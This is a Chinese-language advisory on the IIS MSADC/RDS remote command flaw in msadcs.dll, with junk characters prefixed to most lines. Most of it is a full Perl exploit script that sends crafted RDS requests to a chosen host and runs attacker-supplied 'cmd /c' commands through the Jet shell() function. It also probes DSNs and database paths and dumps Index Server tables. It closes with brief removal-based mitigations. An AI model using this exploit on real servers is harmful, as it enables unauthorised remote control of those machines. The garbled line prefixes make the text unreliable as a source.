IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
`&2AN%Xz wy3{>A Z( 涉及程序:
_9!_fIY Microsoft NT server
;IX3w:Aw @}&o(q1M0 描述:
#S+GI! 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
cES3<`[K
3cK`RM ` 详细:
;74hOHDS 如果你没有时间读详细内容的话,就删除:
[eV!ho*r c:\Program Files\Common Files\System\Msadc\msadcs.dll
0(fN 有关的安全问题就没有了。
eJ0PSW/4l n dRy&[f7 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]<D9Q> }5#<`8 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
MW%EJT>@z
关于利用ODBC远程漏洞的描述,请参看:
yw'b^D/ IZ /M d@C http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm y"=j[. OyVdQ". 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
1-C 2Y` http://www.microsoft.com/security/bulletins/MS99-025faq.asp KL]@y!QU d,j"8\@ 这里不再论述。
|ToCRM ;kO
Op@e 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Lx&2) \N1G5W /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
c!@g<<}[( 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
)ymd#?wq JCNZtWF "i$Avm #将下面这段保存为txt文件,然后: "perl -x 文件名"
Yv!%Is +.UdEIR";M #!perl
BwO^F^Pr?k #
f`@$saFD # MSADC/RDS 'usage' (aka exploit) script
^`
N+mlh #
XYD}OddO # by rain.forest.puppy
)]Xj"V2 #
V[>MKB( # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Y=JfV # beta test and find errors!
(hTe53d<S? yP\KIm! use Socket; use Getopt::Std;
+,=DUsI} getopts("e:vd:h:XR", \%args);
<_&H<]t%rI >
t *+FcD print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
L1#z'<IO ws:@Pe4AF if (!defined $args{h} && !defined $args{R}) {
|}paa print qq~
A$G>D3 Usage: msadc.pl -h <host> { -d <delay> -X -v }
IDbqhZp( -h <host> = host you want to scan (ip or domain)
Y*iYr2?; -d <seconds> = delay between calls, default 1 second
l v]TE" -X = dump Index Server path table, if available
TqK`X#Zq -v = verbose
w|?<;+ -e = external dictionary file for step 5
1MI/:vy- 6Zwrk-,A Or a -R will resume a command session
(Nd5VuI DYlu`j_ux ~; exit;}
"`Q~rjc$2 WXP=U^5Si $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
;RNU`Ip if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
F"xD^<i if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
=}5;rK if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
YUdCrb9F $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
8:c[_3w if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_+%RbJ~H "\bbe @ if (!defined $args{R}){ $ret = &has_msadc;
*"#62U6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
FCxLL")) nff&~lwhZ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
F)KUup)gc . "cmd /c ";
9u";%5 4 $in=<STDIN>; chomp $in;
E! ;giPq*n $command="cmd /c " . $in ;
Iy8>9m'5 D}59fWz@ if (defined $args{R}) {&load; exit;}
!P7&{I,e cOa.]Kk print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
o|lEF+ &try_btcustmr;
[eI{vH{ D4%5T>^LW[ print "\nStep 2: Trying to make our own DSN...";
h?[3{Z ^ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
JgXP2|Y ! [r%WVf.#d print "\nStep 3: Trying known DSNs...";
qCg`"/0 &known_dsn;
24Lo. ]fz0E:x print "\nStep 4: Trying known .mdbs...";
v[VUX69 &known_mdb;
t b5k| kW>Q9Nc=V if (defined $args{e}){
](yw2c;me print "\nStep 5: Trying dictionary of DSN names...";
~[bS+]d! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
i{zg{$ U BG!;9Z{u print "Sorry Charley...maybe next time?\n";
'3B`4W, exit;
F/z$jj) c RBdIDIc ##############################################################################
Onoi ^MDy NQzpgf|h sub sendraw { # ripped and modded from whisker
=qH9<,p`H sleep($delay); # it's a DoS on the server! At least on mine...
|5|^[v my ($pstr)=@_;
L|4kv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
X6s6fu; die("Socket problems\n");
a-\\A[E if(connect(S,pack "SnA4x8",2,80,$target)){
qa
'YZE` select(S); $|=1;
p?S:J`q print $pstr; my @in=<S>;
e R"XXF0u select(STDOUT); close(S);
|r*btyOJk return @in;
FT'_{e!M } else { die("Can't connect...\n"); }}
6v7H?4 S'~Zlv3` ##############################################################################
:Z|lGH
= c(jF^
0~ sub make_header { # make the HTTP request
| _/D-m* my $msadc=<<EOT
1(6B|w5+ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
tpw0j
CVu User-Agent: ACTIVEDATA
&>kklP Host: $ip
#;GIvfW Content-Length: $clen
FtbqZN[ Connection: Keep-Alive
\,jrug<C$^ Qzy[ ADCClientVersion:01.06
T;D`=p# Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
$P#Cf&R WK5~"aw --!ADM!ROX!YOUR!WORLD!
g7!P| Content-Type: application/x-varg
1{\{'EP{ Content-Length: $reqlen
V*P3C5l c$aTl9e EOT
(3YqM7cqt ; $msadc=~s/\n/\r\n/g;
O H~X~n-Z return $msadc;}
udxLHs &Npv~Iy ##############################################################################
yIC.JmD* #q. Q tDz sub make_req { # make the RDS request
gbNPD*7g9 my ($switch, $p1, $p2)=@_;
BEM_y:# my $req=""; my $t1, $t2, $query, $dsn;
ct='Z E j3 d=O! if ($switch==1){ # this is the btcustmr.mdb query
(5[|h $query="Select * from Customers where City=" . make_shell();
n\k6UD $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
AD$k`Cj $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
m[&]#K6 G4g<PFx elsif ($switch==2){ # this is general make table query
K%9PIqK?4 $query="create table AZZ (B int, C varchar(10))";
Ep-{Ew{T_= $dsn="$p1";}
v w$VRPW .&d]7@!qy elsif ($switch==3){ # this is general exploit table query
@=ABO"CQ $query="select * from AZZ where C=" . make_shell();
r2?-QvQ $dsn="$p1";}
Rfh#JO@%[ zA[6rYXY elsif ($switch==4){ # attempt to hork file info from index server
PZ2$ [s0W $query="select path from scope()";
et]-;(M $dsn="Provider=MSIDXS;";}
\F=w~
$) fhqc[@Y[ elsif ($switch==5){ # bad query
iyNyj44
H $query="select";
hY=#_r8 $dsn="$p1";}
.lrI|BH?z cQEK>aAd $t1= make_unicode($query);
AP.WTFf $t2= make_unicode($dsn);
%0 (,f $req = "\x02\x00\x03\x00";
hPtSY'_@_ $req.= "\x08\x00" . pack ("S1", length($t1));
w :2@@)pr $req.= "\x00\x00" . $t1 ;
Sd?:+\bS; $req.= "\x08\x00" . pack ("S1", length($t2));
\M^L'Mkj $req.= "\x00\x00" . $t2 ;
{`fhcEC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
i-!Z/,oL return $req;}
sxM0c ]F5?>du@~ ##############################################################################
U085qKyCw +T:F :X` sub make_shell { # this makes the shell() statement
+P,hT return "'|shell(\"$command\")|'";}
#I[tsly} T'.U?G ##############################################################################
p~1,[]k J1DX}h] sub make_unicode { # quick little function to convert to unicode
I12WOL q my ($in)=@_; my $out;
P6w!r>?6N for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
c/.U< return $out;}
Bv,u kQ\CH }8cL+JJU ##############################################################################
m@o/ W TNBFb_F sub rdo_success { # checks for RDO return success (this is kludge)
xvP<~N- my (@in) = @_; my $base=content_start(@in);
yiyyw,iy if($in[$base]=~/multipart\/mixed/){
WP&P#ju& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
\y?Vou/ return 0;}
t(/b'Peq |T7 < ! ##############################################################################
?2hoY J$6tCFD sub make_dsn { # this makes a DSN for us
[Lh<k+ my @drives=("c","d","e","f");
@dE|UZ=( print "\nMaking DSN: ";
9d{iq"*R foreach $drive (@drives) {
FyYD7E print "$drive: ";
{>[,i`) my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
:9H=D^J "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
3~H_UGw . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
G]5m@;~l5 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
y
BF3Lms return 0 if $2 eq "404"; # not found/doesn't exist
s,>_kxuX if($2 eq "200") {
JSX-iHhW foreach $line (@results) {
;taTdzR_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
xe}d& } return 0;}
<+D(GH}; u'cM}y& ##############################################################################
[ L% -lJ jSVIO v: sub verify_exists {
]S+NH[g+ my ($page)=@_;
P!yE{_% my @results=sendraw("GET $page HTTP/1.0\n\n");
D?~`L[}I!} return $results[0];}
82#7TX4 6jjmrc[#}X ##############################################################################
>#).3 (Qmpz sub try_btcustmr {
{J3;4p-& my @drives=("c","d","e","f");
GkqKIs my @dirs=("winnt","winnt35","winnt351","win","windows");
5]yQMY\2) v^2q\A-? foreach $dir (@dirs) {
c6gRXp'ID print "$dir -> "; # fun status so you can see progress
Wr"-~PP foreach $drive (@drives) {
fsqK(io28 print "$drive: "; # ditto
''P.~~ezr5 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&Ji!*~sE $reqlenlen=length( "$reqlen" );
9`kxyh</ $clen= 206 + $reqlenlen + $reqlen;
8'J"+TsOW g[<K FVlG my @results=sendraw(make_header() . make_req(1,$drive,$dir));
CDcZ6.f if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
$(pzh:| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
*gMo(-tN W0%cJ8~ ##############################################################################
<PL94 Sw HrHj sub odbc_error {
o/273I my (@in)=@_; my $base;
MKIX(r(| my $base = content_start(@in);
[5Zs%!Z;8N if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>Qg`Us#y $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jyRSe^x $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-[A4B) $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WVDkCo@ return $in[$base+4].$in[$base+5].$in[$base+6];}
E0QrByr_ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
)P print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Z{"/Ae5] $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
GUyMo@g Rn6;@Cw ##############################################################################
"H I&dC sd|5oz) sub verbose {
kj_o I5<' my ($in)=@_;
=`fJ return if !$verbose;
Dizc#!IGU print STDOUT "\n$in\n";}
>t_5(K4 5etbJk ##############################################################################
!K: e=$p( sub save {
%5<uQc9 my ($p1, $p2, $p3, $p4)=@_;
AA[(rw open(OUT, ">rds.save") || print "Problem saving parameters...\n";
gZbC[L print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ktX\{g! U close OUT;}
I6?n> LbX>@2(& ##############################################################################
Tjba@^T 7=yV8.cD sub load {
Zd$a}~4~ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
JL0>-kg open(IN,"<rds.save") || die("Couldn't open rds.save\n");
*@6,Sr)_ @p=<IN>; close(IN);
bHx09F] $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
;"/[gFD5u $target= inet_aton($ip) || die("inet_aton problems");
Ni]V)wGE; print "Resuming to $ip ...";
=.197)e $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
H+Dv-*i if($p[1]==1) {
3ZRi@=kWz $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/'KCW_Q $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)BI6nU my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
QN`K|,}H^ if (rdo_success(@results)){print "Success!\n";}
m~`d<RM/ else { print "failed\n"; verbose(odbc_error(@results));}}
rqJ'm?>cr elsif ($p[1]==3){
;MH((M/AN if(run_query("$p[3]")){
5[<"_ print "Success!\n";} else { print "failed\n"; }}
#O3Y#2lI elsif ($p[1]==4){
9eOP:/'}w if(run_query($drvst . "$p[3]")){
UQZ<sp4v; print "Success!\n"; } else { print "failed\n"; }}
CJ+/j=i;~c exit;}
mO];+=3v8 39
D!e& ##############################################################################
Cu*+E%P9` CG@3z@*?. sub create_table {
BPgY_f my ($in)=@_;
OU2.d7 $reqlen=length( make_req(2,$in,"") ) - 28;
Wp7lDx $reqlenlen=length( "$reqlen" );
&sh5|5EC $clen= 206 + $reqlenlen + $reqlen;
M*XAyo4fI my @results=sendraw(make_header() . make_req(2,$in,""));
^d2#J return 1 if rdo_success(@results);
e5\/:HpI my $temp= odbc_error(@results); verbose($temp);
OR84/^> return 1 if $temp=~/Table 'AZZ' already exists/;
2% ],0,o return 0;}
@PH`Wn#S xi5G?r ##############################################################################
Da.eVU; KZ8Hp=s sub known_dsn {
3<Qe'd
^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
NXwthc3 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
\YXzq<7 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
tOUpK20q.@ "banner", "banners", "ads", "ADCDemo", "ADCTest");
T!-*; yu +qN}oyL
foreach $dSn (@dsns) {
j1[Ng #. print ".";
Vf28R,~m next if (!is_access("DSN=$dSn"));
MR") if(create_table("DSN=$dSn")){
0PfjD print "$dSn successful\n";
B49:
R> if(run_query("DSN=$dSn")){
6-"@j@l5< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=K#5I<x print "Something's borked. Use verbose next time\n";}}} print "\n";}
Ka\ha (<bYoWrK# ##############################################################################
An0DqjR l', +l{\Z sub is_access {
j@g`Pm%u` my ($in)=@_;
1Ce7\A $reqlen=length( make_req(5,$in,"") ) - 28;
Z5x&P_.x[ $reqlenlen=length( "$reqlen" );
b'x26wT? $clen= 206 + $reqlenlen + $reqlen;
HL8onNq my @results=sendraw(make_header() . make_req(5,$in,""));
*dmBJi} my $temp= odbc_error(@results);
SX/E@vYb verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Os)jfKn2 return 0;}
2A>s
a3\ ,\fp.K< ##############################################################################
zx#HyO[a mVaWbR@HS sub run_query {
6&8uLM(z my ($in)=@_;
g &E3Wc $reqlen=length( make_req(3,$in,"") ) - 28;
I
68Y4s $reqlenlen=length( "$reqlen" );
{C>E*qp}f $clen= 206 + $reqlenlen + $reqlen;
>z #^JR\6 my @results=sendraw(make_header() . make_req(3,$in,""));
pW[KC! return 1 if rdo_success(@results);
HB|R1<t;HB my $temp= odbc_error(@results); verbose($temp);
7~zd
%
o
return 0;}
|B{@noGX (5rfeSA^ ##############################################################################
MUQj7.rNa + *xi&|% sub known_mdb {
a:v5(@8 my @drives=("c","d","e","f","g");
LE@<)}Au^ my @dirs=("winnt","winnt35","winnt351","win","windows");
QUQw/ my $dir, $drive, $mdb;
Am'%tw
~ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M6nQ17\{ `[)!4Jb # this is sparse, because I don't know of many
_^%DfMP3i\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
-- >q=hlA "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
U ;%cp "\\system32\\certmdb.mdb",
F<V.OFt "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
2gasH11M *\$m1g7b my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
C%RYQpY*c "\\cfusion\\cfapps\\forums\\forums_.mdb",
pie8 3Wy> "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Y5fz_ [(" "\\cfusion\\cfapps\\security\\realm_.mdb",
o=]\Jy "\\cfusion\\cfapps\\security\\data\\realm.mdb",
MlKSjKl" ! "\\cfusion\\database\\cfexamples.mdb",
mb\"qD5 "\\cfusion\\database\\cfsnippets.mdb",
#ETy#jKL "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
E4QLXx6Wa& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,K WIuCU; "\\cfusion\\brighttiger\\database\\cleam.mdb",
7oy}<9 "\\cfusion\\database\\smpolicy.mdb",
@S<6#zR "\\cfusion\\database\cypress.mdb",
uh<e-;vU "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[d?tf "\\website\\cgi-win\\dbsample.mdb",
;T\+TZ tI "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
e,K.bgi "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
5:yRFzhqd ); #these are just
#c%FpR4 foreach $drive (@drives) {
v ^R:XdH foreach $dir (@dirs){
"@^^niSFl foreach $mdb (@sysmdbs) {
Ga]\~31NE print ".";
f2LiCe.? if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4{lrtNd~K print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^TZ`1:oL# if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
xNd p]u print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Oq9E$0JW } else { print "Something's borked. Use verbose next time\n"; }}}}}
B&+)s5hh dW5@Z-9 foreach $drive (@drives) {
?E}9TQ foreach $mdb (@mdbs) {
-UoTBvObAm print ".";
]r\FC\n6e if(create_table($drv . $drive . $dir . $mdb)){
: Tcvj5 print "\n" . $drive . $dir . $mdb . " successful\n";
e>T;'7HSS" if(run_query($drv . $drive . $dir . $mdb)){
po!bRk[4 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Z mc" } else { print "Something's borked. Use verbose next time\n"; }}}}
3\ {?L }
O=5q<7PM. ;#?G2AAv ##############################################################################
hiKyU!)Hv (fun,(R6" sub hork_idx {
6Z l#$>P print "\nAttempting to dump Index Server tables...\n";
?={S"qK(q print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ZOBcV,K $reqlen=length( make_req(4,"","") ) - 28;
ipe8U1Sc $reqlenlen=length( "$reqlen" );
Ya
`$.D $clen= 206 + $reqlenlen + $reqlen;
m:D0O]2 my @results=sendraw2(make_header() . make_req(4,"",""));
6r.#/' " if (rdo_success(@results)){
#LR.1zZ my $max=@results; my $c; my %d;
~s{
V!)0 for($c=19; $c<$max; $c++){
{)n@Rq\=v $results[$c]=~s/\x00//g;
d:Oo5t)MN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
oZ_,WwnE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
LzQOzl@z $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5AK@e|G$w $d{"$1$2"}="";}
o1Krp '* foreach $c (keys %d){ print "$c\n"; }
z2lT4SAv+ } else {print "Index server doesn't seem to be installed.\n"; }}
JT! Cb$! ~p`[z~| ##############################################################################
|ju+{+ <Uy $b4h sub dsn_dict {
M%YxhuT0 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
eiQ42x@Z while(<IN>){
IP $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
,MjlA{0 next if (!is_access("DSN=$dSn"));
c'INmc
I| if(create_table("DSN=$dSn")){
MCAWn
H print "$dSn successful\n";
DkEf;P if(run_query("DSN=$dSn")){
0|DyYu print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^4Uk'T7V print "Something's borked. Use verbose next time\n";}}}
P=aYwm C print "\n"; close(IN);}
TbD
$lx3> . {vMn0c ##############################################################################
A*~BkvPr j+PLtE sub sendraw2 { # ripped and modded from whisker
PA*1]i#2M= sleep($delay); # it's a DoS on the server! At least on mine...
kni{1Gr my ($pstr)=@_;
zZW5M^z8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0g2rajS die("Socket problems\n");
\UP=pT@ if(connect(S,pack "SnA4x8",2,80,$target)){
2fgYcQ8` print "Connected. Getting data";
Zb7%$1)L~ open(OUT,">raw.out"); my @in;
p}Um+I=1 select(S); $|=1; print $pstr;
B7wzF" while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
29^(weT"] close(OUT); select(STDOUT); close(S); return @in;
Q@!XVQx4 } else { die("Can't connect...\n"); }}
dT{GB!jz 1k]L ,CX ##############################################################################
_^g4/G#13c '0=mV"#H{ sub content_start { # this will take in the server headers
{oS/Xa my (@in)=@_; my $c;
r~G amjS for ($c=1;$c<500;$c++) {
>`l^
C if($in[$c] =~/^\x0d\x0a/){
;H3~r^>c if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
yIC
C8M else { return $c+1; }}}
I
Z|EPzS return -1;} # it should never get here actually
;9Qxq] |~@yXc5a ##############################################################################
P!SsMo6n V,%K"b= sub funky {
IE3GZk+a~ my (@in)=@_; my $error=odbc_error(@in);
Y4+]5;B8 if($error=~/ADO could not find the specified provider/){
W!"Oho' print "\nServer returned an ADO miscofiguration message\nAborting.\n";
1gnLKf c exit;}
aCJ-T8?' if($error=~/A Handler is required/){
@ULd~ print "\nServer has custom handler filters (they most likely are patched)\n";
(-],VB
(+ exit;}
gCF9XKW if($error=~/specified Handler has denied Access/){
u_}UU
2 print "\nServer has custom handler filters (they most likely are patched)\n";
K^",LCJA exit;}}
53$;ZO3 5|7<ZL3 ##############################################################################
k(M"k!M O)ose?Z
sub has_msadc {
AV4fN@BX my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
XSCcumde! my $base=content_start(@results);
,|GjrT{vf return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
4s9.")G return 0;}
If]rg+|U /'zXb_R,$ ########################
"sIww `H q*l"8 j"jQiL_* 解决方案:
xLb=^Xjec 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
gb4$W@N7V 2、移除web 目录: /msadc